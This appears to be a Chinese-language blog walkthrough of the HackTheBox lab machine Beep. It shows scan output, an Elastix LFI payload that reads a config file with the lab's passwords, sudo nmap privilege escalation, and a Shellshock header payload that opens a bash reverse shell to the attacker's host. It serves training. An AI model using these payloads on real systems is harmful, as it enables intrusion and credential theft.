Beep靶机是HackTheBox上难度为简单的Linux渗透测试靶机,适合初学者练习。通过Elastix 2.2.0的本地文件包含漏洞获取敏感配置信息,再利用凭证复用、Shellshock、sudo提权及计划任务等多种方式实现root权限突破,涵盖文件包含、凭证复用、权限提升等关键技术点。
还没关注?↑↑↑伸出手指点上方“名片”这里。
-
概述 -
技术知识点详解 -
靶机配置 -
攻击步骤详细解析 -
第一步:前期收集 -
第二步:初始入口点突破 -
第三步:多路径突破 root 权限 -
1.凭证复用
-
2.组件突破+sudo nmap 提权
-
3.Shellshock 突破
-
4.后台计划任务突破
-
总结
概述
HackTheBox Beep 靶机难度为简单级别,适合网络安全初学者和技术爱好者进行实战训练。本次渗透测试的核心学习点包括 Elastix 统一通信服务器的漏洞利用、本地文件包含攻击、凭证复用技术以及多种 Linux 权限提升方法,展现了如何通过不同途径突破目标系统获取完整控制权。

技术知识点详解
学习知识点:Elastix组件利用本地文件包含凭证复用CVE-2012-4869SSH 凭证复用sudo nmap 提权技术Shellshock漏洞后台计划任务
靶机配置
难度:简单操作系统:Linux靶机IP地址:10.129.1.108攻击机地址:10.10.16.18访问地址:https://app.hackthebox.com/machines/Beep官方视频:https://www.youtube.com/watch?v=D_GdUk1Qswg
攻击步骤详细解析
第一步:前期收集
我们首先对目标靶机进行全面的端口扫描和服务识别。使用 nmap -sT -p- --min-rate 5000 10.129.1.108 -v 进行全端口扫描,发现靶机开放了多个端口,包括22(SSH)、25(SMTP)、80(HTTP)、110(POP3)、111(RPCbind)、143(IMAP)、443(HTTPS)、993(IMAPS)、995(POP3S)、3306(MySQL)、4559(HylaFax)、5038(Asterisk Call Manager)和10000(Webmin)。
─# nmap -sT -p- --min-rate 5000 10.129.1.108 -vStarting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 00:12 -0500Initiating Ping Scan at 00:12Scanning 10.129.229.183 [4 ports]Completed Ping Scan at 00:12, 0.24s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 00:12Completed Parallel DNS resolution of 1 host. at 00:12, 0.01s elapsedInitiating Connect Scan at 00:12Scanning bogon (10.129.229.183) [65535 ports]PORT STATE SERVICE22/tcp open ssh25/tcp open smtp80/tcp open http110/tcp open pop3111/tcp open rpcbind143/tcp open imap443/tcp open https857/tcp open unknown993/tcp open imaps995/tcp open pop3s3306/tcp open mysql4559/tcp open hylafax10000/tcp open snet-sensor-mgmtRead data files from: /usr/share/nmapNmap done: 1 IP address (1 host up) scanned in 116.82 secondsRaw packets sent: 4 (152B) | Rcvd: 1 (28B)
然后对开放端口进行详细服务版本检测,确认该靶机运行的是 Elastix 2.2.0 版本。
─# nmap -sC -sV -p 22,25,80,110,111,143,443,857,993,995,3306,4559,10000 -A 10.129.1.108PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.3 (protocol 2.0)| ssh-hostkey:| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Apache httpd 2.2.3|_http-server-header: Apache/2.2.3 (CentOS)|_http-title: Did not follow redirect to https://localhost/110/tcp open pop3?111/tcp open rpcbind 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100024 1 854/udp status|_ 100024 1 857/tcp status143/tcp open imap?443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))|_http-server-header: Apache/2.2.3 (CentOS)| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--| Not valid before: 2017-04-07T08:22:08|_Not valid after: 2018-04-07T08:22:08|_ssl-date: 2026-03-02T05:22:39+00:00; +3s from scanner time.| http-robots.txt: 1 disallowed entry|_/|_http-title: Elastix - Login page745/tcp closed unknown993/tcp open imaps?995/tcp open pop3s?3306/tcp open mysql?4190/tcp open sieve?4445/tcp open upnotifyp?4559/tcp open hylafax?5038/tcp open asterisk Asterisk Call Manager 1.110000/tcp open http MiniServ 1.570 (Webmin httpd)|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).|_http-server-header: MiniServ/1.570No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.98%E=4%D=3/2%OT=22%CT=745%CU=43635%PV=Y%DS=2%DC=T%G=Y%TM=69A51FOS:BE%P=x86_64-pc-linux-gnu)SEQ(SP=C1%GCD=1%ISR=C6%TI=Z%CI=Z%II=I%TS=A)SEQ(OS:SP=C7%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=C8%GCD=1%ISR=CA%TI=Z%CI=Z%OS:II=I%TS=A)SEQ(SP=C9%GCD=1%ISR=CE%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=D0%GCD=1%ISROS:=CF%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NWOS:7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)WIN(W1=16A0%W2=16A0%W3=16A0%OS:W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M542NNSNW7%CC=N%Q=)T1OS:(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%OS:A=S+%F=AS%O=M542ST11NW7%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%SOS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(ROS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=NOS:%T=40%CD=S)Network Distance: 2 hopsService Info: Host: 127.0.0.1Host script results:|_clock-skew: 2sTRACEROUTE (using port 745/tcp)HOP RTT ADDRESS1 499.17 ms bogon (10.10.16.1)2 222.42 ms localhost (10.129.1.108)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 627.03 seconds
Elastix 是基于 Asterisk 构建的开源统一通信服务器软件,集成 IP PBX、邮件、即时通讯、传真等功能,提供 Web 管理界面,用于搭建企业级 VoIP 与融合通信系统。
通过 dirsearch 工具对网站目录进行枚举,发现多个重要目录如 /admin、/panel、/vtigercrm 等。
dirsearch -u http://10.129.1.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,php -t 50_|. _ _ _ _ _ _|_ v0.3.8(_||| _) (/_(_|| (_| )Extensions: txt, php | Threads: 50 | Wordlist size: 220521Error Log: /opt/dirsearch/logs/errors-18-08-09_12-59-00.logTarget: http://10.129.1.108/[12:59:01] Starting:[12:59:04] 301 - 310B - /images -> https://10.129.1.108/images/[12:59:05] 200 - 2KB - /[12:59:05] 301 - 308B - /help -> https://10.129.1.108/help/[12:59:09] 301 - 311B - /modules -> https://10.129.1.108/modules/[12:59:09] 301 - 310B - /themes -> https://10.129.1.108/themes/[12:59:12] 301 - 308B - /mail -> https://10.129.1.108/mail/[12:59:17] 301 - 309B - /admin -> https://10.129.1.108/admin/[12:59:17] 301 - 310B - /static -> https://10.129.1.108/static/[13:00:24] 301 - 308B - /lang -> https://10.129.1.108/lang/[13:04:39] 301 - 307B - /var -> https://10.129.1.108/var/[13:05:41] 301 - 309B - /panel -> https://10.129.1.108/panel/[13:14:34] 301 - 308B - /libs -> https://10.129.1.108/libs/[13:29:14] 301 - 314B - /recordings -> https://10.129.1.108/recordings/[13:47:37] 301 - 311B - /configs -> https://10.129.1.108/configs/[16:52:04] 301 - 313B - /vtigercrm -> https://10.129.1.108/vtigercrm/
第二步:初始入口点突破
通过 searchploit 查询发现存在组件漏洞,有本地文件包含

打开 poc 如下

访问 /vtigercrm/graph.php payload页面,我们注意到该页面存在文件包含漏洞。
利用漏洞参数
/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
成功读取到关键的 Elastix 配置文件 /etc/amportal.conf。

该配置文件中包含了大量敏感信息,包括数据库凭证 AMPDBPASS=jEhdIekWmdjE、管理密码 AMPMGRPASS=jEhdIekWmdjE 以及 ARI 系统的用户名和密码 ARI_ADMIN_USERNAME=admin、ARI_ADMIN_PASSWORD=jEhdIekWmdjE。
AMPDBHOST=localhostAMPDBENGINE=mysql# AMPDBNAME=asteriskAMPDBUSER=asteriskuser# AMPDBPASS=amp109AMPDBPASS=jEhdIekWmdjEAMPENGINE=asteriskAMPMGRUSER=admin# AMPMGRPASS=amp111AMPMGRPASS=jEhdIekWmdjE# FOPPASSWORD=passw0rdFOPPASSWORD=jEhdIekWmdjEARI_ADMIN_USERNAME=adminARI_ADMIN_PASSWORD=jEhdIekWmdjE
同时还读取用户/etc/passwd 配置信息

通过这些凭证,我们成功获取了系统的管理权限并接管了网站后台。

也接管admin/config 的后台访问权限。

第三步:多路径突破 root 权限
我们尝试了多种不同的方式获取系统 root 权限。
1.凭证复用
第一种方式是凭证复用,使用获取到的密码 jEhdIekWmdjE 尝试 SSH 连接 root 账户,但由于版本较老需要调整连接参数,最终通过命令
ssh -o "KexAlgorithms=+diffie-hellman-group14-sha1" -o "HostKeyAlgorithms=+ssh-rsa" root@10.129.1.108
成功连接并获得 root 权限。

使用相关 exploit 脚本(https://github.com/cyberdesu/Elastix-2.2.0-CVE-2012-4869)成功获取普通用户 shell

然后执行 sudo -l 查询发现可以 root 权限运行多个命令。

参考 nmap 提权方式

最终利用 sudo nmap --interactive 命令成功提权至 root 权限

第三种方式是利用 ShellShock 漏洞,访问 1000 端口发现是 CGI 程序

在 Burp Suite 中修改 User-Agent 头部为 ShellShock 攻击载荷 () { :; };sleep 10 进行验证。
POST /session_login.cgi HTTP/1.1Host: 10.129.1.108:10000Content-Length: 37Accept-Language: zh-CN,zh;q=0.9User-Agent: () { :; };sleep 10page=%2F&user=admin&pass=jEhdIekWmdjE
确认漏洞存在后构造最终载荷 () { :; };bash -i >& /dev/tcp/10.10.16.108/8000 0>&1,建立反向 shell。

4.后台计划任务突破
第四种方式是通过后台计划任务功能,通过凭证复用,拿到后台管理权限,后台存在很多系统功能,如系统关机,重启,修改密码,以及定时任务计划功能。

设置以 root 身份执行反弹 shell 的定时任务,最终获得 root 权限。

总结
本次渗透测试揭示了 Elastix 统一通信服务器的多个安全风险点,包括文件包含漏洞导致的敏感信息泄露、版本过旧导致的兼容性问题以及权限配置不当导致的提权风险。通过多种攻击路径突破目标系统,展示了网络安全渗透测试的灵活性和系统性,这种题型比较贴近国内攻防场景的真实情况,特别适合新手进行技术训练和实践。
原文始发于微信公众号(深灵奇境):Beep 靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-



评论